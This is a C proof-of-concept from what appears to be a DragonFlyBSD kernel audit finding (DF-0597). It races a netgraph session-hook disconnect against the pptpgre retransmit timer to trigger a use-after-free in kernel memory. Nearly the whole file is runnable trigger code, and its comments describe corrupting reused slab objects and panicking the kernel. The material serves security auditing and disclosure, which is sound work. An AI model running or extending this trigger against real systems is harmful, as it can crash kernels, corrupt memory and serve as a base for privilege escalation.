โฌข DragonFlyBSD Kernel Audit
DF-0597 / race.c
โ† back to finding โ†“ download raw
/*
 * DF-0597 โ€” ng_pptpgre (netgraph7) disconnect-vs-timer UAF race trigger.
 *
 * Privileged local race. ng_pptpgre_disconnect() frees hpriv after
 * ng_pptpgre_reset(), but ng_uncallout() does not dequeue a timer
 * trampoline that has already dispatched (callout_stop()==0). The
 * queued WRITER item then runs ng_pptpgre_recv_ack_timeout/_send_ack_timeout
 * against freed hpriv โ€” a UAF on 5 integer fields.
 *
 * Build:  cc -O2 -o race race.c -lnetgraph
 * Run:    ./race [iterations]
 *
 * Root only (kldload ng_pptpgre + ng_socket + ng_ksocket required).
 * The race is narrow: must hit the window between the timer trampoline
 * dispatching (callout_stop() returning 0) and the disconnect WRITER
 * running kfree(hpriv). On a quiescent single-CPU-stuck guest the UAF
 * access hits stale-but-valid memory; on a slab-groomed system it
 * corrupts the reused object.
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <pthread.h>
#include <netgraph.h>

/* ng_pptpgre protocol struct (sys/netgraph7/pptpgre/ng_pptpgre.h) */
#define NGM_PPTPGRE_COOKIE	1082548365
#define NGM_PPTPGRE_SET_CONFIG	1
struct ng_pptpgre_conf {
	u_char		enabled;
	u_char		enableDelayedAck;
	u_char		enableAlwaysAck;
	u_char		enableWindowing;
	u_int16_t	cid;
	u_int16_t	peerCid;
	u_int16_t	recvWin;
	u_int16_t	peerPpd;
};

static int csock = -1, dsock = -1;

static char PPTPGRE_NODE[32];
static char KSOCK_NODE[32];
#define SESSION_HOOK	"session_0001"
#define MYHOOK_DLPFX	"dl"		/* hook on the socket data node side */

static int
send_mkpeer(const char *path, const char *type,
    const char *ourhook, const char *peerhook)
{
	struct ngm_mkpeer mkp;
	memset(&mkp, 0, sizeof(mkp));
	snprintf(mkp.type, sizeof(mkp.type), "%s", type);
	snprintf(mkp.ourhook, sizeof(mkp.ourhook), ourhook);
	snprintf(mkp.peerhook, sizeof(mkp.peerhook), peerhook);
	return NgSendMsg(csock, path, NGM_GENERIC_COOKIE,
	    NGM_MKPEER, &mkp, sizeof(mkp));
}

static int
send_connect(const char *path, const char *ourhook,
    const char *peerpath, const char *peerhook)
{
	struct ngm_connect con;
	memset(&con, 0, sizeof(con));
	snprintf(con.path, sizeof(con.path), "%s", peerpath);
	snprintf(con.ourhook, sizeof(con.ourhook), ourhook);
	snprintf(con.peerhook, sizeof(con.peerhook), peerhook);
	return NgSendMsg(csock, path, NGM_GENERIC_COOKIE,
	    NGM_CONNECT, &con, sizeof(con));
}

static int
send_name(const char *path, const char *name)
{
	struct ngm_name ngn;
	memset(&ngn, 0, sizeof(ngn));
	snprintf(ngn.name, sizeof(ngn.name), "%s", name);
	return NgSendMsg(csock, path, NGM_GENERIC_COOKIE,
	    NGM_NAME, &ngn, sizeof(ngn));
}

static int
send_rmhook(const char *path, const char *hook)
{
	struct ngm_rmhook rmh;
	memset(&rmh, 0, sizeof(rmh));
	snprintf(rmh.ourhook, sizeof(rmh.ourhook), "%s", hook);
	return NgSendMsg(csock, path, NGM_GENERIC_COOKIE,
	    NGM_RMHOOK, &rmh, sizeof(rmh));
}

static int
set_session_config(const char *path, uint16_t cid)
{
	struct ng_pptpgre_conf conf;
	memset(&conf, 0, sizeof(conf));
	conf.enabled = 1;
	conf.enableDelayedAck = 1;
	conf.enableAlwaysAck = 1;
	conf.enableWindowing = 1;
	conf.cid = cid;
	conf.peerCid = cid;
	conf.recvWin = 16;
	conf.peerPpd = 1;
	return NgSendMsg(csock, path, NGM_PPTPGRE_COOKIE,
	    NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf));
}

static int
arm_timer_via_write(const char *hook)
{
	/* Send a small PPP-ish frame to the pptpgre upper hook via dsock.
	 * ng_pptpgre_rcvdata() -> ng_pptpgre_xmit() will start the rackTimer
	 * (line 628-629) for the first un-acked packet.
	 */
	u_char buf[64];
	memset(buf, 0x11, sizeof(buf));
	return NgSendData(dsock, hook, buf, sizeof(buf));
}

/*
 * Build a working pptpgre topology once and keep the control socket
 * alive. Returns 0 on success.
 */
static int
build_topology(void)
{
	char pptp_path[NG_PATHSIZ];

	snprintf(pptp_path, sizeof(pptp_path), "%s:", PPTPGRE_NODE);

	/* Create pptpgre node hanging off our control socket node (".").
	 * Our hook "dl1" connects to pptpgre's "upper" hook. */
	if (send_mkpeer(".", "pptpgre", "dl1", "upper") < 0) {
		fprintf(stderr, "mkpeer pptpgre failed: %s\n", strerror(errno));
		return -1;
	}
	/* Name the new node by addressing it through our hook. */
	if (send_name(".:dl1", PPTPGRE_NODE) < 0) {
		fprintf(stderr, "name pptpgre failed: %s\n", strerror(errno));
		return -1;
	}

	/* Attach ksocket:inet/raw/gre to pptpgre's lower hook. */
	if (send_mkpeer(pptp_path, "ksocket", "lower", "inet/raw/gre") < 0) {
		fprintf(stderr, "mkpeer ksocket failed: %s\n", strerror(errno));
		return -1;
	}

	/* Create the session hook on the pptpgre node. Connect our socket
	 * node's hook "dl_sess" to pptpgre's session_0001 hook. The
	 * pptpgre newhook code parses the hook name and allocates hpriv. */
	if (send_connect(".", "dl_sess", pptp_path, SESSION_HOOK) < 0) {
		fprintf(stderr, "connect session failed: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static void
destroy_topology(void)
{
	char pptp_path[NG_PATHSIZ];
	snprintf(pptp_path, sizeof(pptp_path), "%s:", PPTPGRE_NODE);

	/* Drop the session hook first (this is the path that races). */
	send_rmhook(pptp_path, SESSION_HOOK);
	/* Then the upper */
	send_rmhook(pptp_path, "upper");
	/* ksocket lower goes when pptpgre dies */
	send_rmhook(".", "dl1");
}

static void
usage(const char *p)
{
	fprintf(stderr, "usage: %s [iterations=400]\n", p);
}

int
main(int argc, char **argv)
{
	unsigned long iters = 400;
	unsigned long i;
	int rc;
	char sess_path[NG_PATHSIZ];

	if (argc > 1) {
		iters = strtoul(argv[1], NULL, 10);
		if (iters == 0) {
			usage(argv[0]);
			return 2;
		}
	}

	/* Per-run unique node names so re-runs don't hit "Address already in use". */
	snprintf(PPTPGRE_NODE, sizeof(PPTPGRE_NODE), "df597p%u",
	    (unsigned)getpid());
	snprintf(KSOCK_NODE, sizeof(KSOCK_NODE), "df597k%u",
	    (unsigned)getpid());

	/* Open control + data sockets. */
	if (NgMkSockNode("df597_ctl", &csock, &dsock) < 0) {
		fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno));
		return 1;
	}

	/* Build once. */
	if (build_topology() < 0) {
		fprintf(stderr, "topology build failed\n");
		return 1;
	}

	fprintf(stderr, "DF-0597 race: topology built; racing %lu iterations\n",
	    iters);
	fprintf(stderr, "(watch /var/log/messages and dmesg for panic; "
	    "UAF may be silent on quiescent slab)\n");

	snprintf(sess_path, sizeof(sess_path), "%s:%s", PPTPGRE_NODE,
	    SESSION_HOOK);

	/* Race loop: configure -> arm timer -> wait for timer to be
	 * close to firing -> disconnect. Repeat to widen the window. */
	for (i = 0; i < iters; i++) {
		char pptp_path[NG_PATHSIZ];
		snprintf(pptp_path, sizeof(pptp_path), "%s:", PPTPGRE_NODE);

		/* configure session (resets timers) */
		rc = set_session_config(sess_path, 0x0001);
		if (rc < 0) {
			fprintf(stderr, "iter %lu setconfig: %s\n",
			    i, strerror(errno));
			/* session hook may have been torn down; reconnect */
			send_connect(".", "dl_sess", pptp_path, SESSION_HOOK);
			set_session_config(sess_path, 0x0001);
		}

		/* arm rackTimer via a write to the upper hook */
		(void)arm_timer_via_write("dl1");

		/* give the timer time to dispatch its trampoline
		 * (rackTimer fires at ~ato ticks, ato max = PPTP_MAX_TIMEOUT
		 *  = 3 sec, min = 1 tick). Wait ~ a few ticks then race
		 *  rmhook against the in-flight trampoline. We also do
		 *  a tiny micro-sleep then immediately disconnect. */
		usleep(20000 + (i % 5) * 5000);

		/* disconnect the session hook โ€” this is the path that races
		 * against an in-flight rackTimer trampoline. */
		rc = send_rmhook(pptp_path, SESSION_HOOK);
		if (rc < 0) {
			/* hook already gone? rebuild it */
			send_connect(".", "dl_sess", pptp_path, SESSION_HOOK);
			continue;
		}

		/* reconnect for next iteration */
		usleep(1000);
		send_connect(".", "dl_sess", pptp_path, SESSION_HOOK);

		if ((i % 50) == 0)
			fprintf(stderr, "iter %lu/%lu\n", i, iters);
	}

	fprintf(stderr, "DF-0597: race loop complete; if no panic, "
	    "UAF was silent (stale-but-valid) โ€” confirm via source review.\n");

	destroy_topology();
	return 0;
}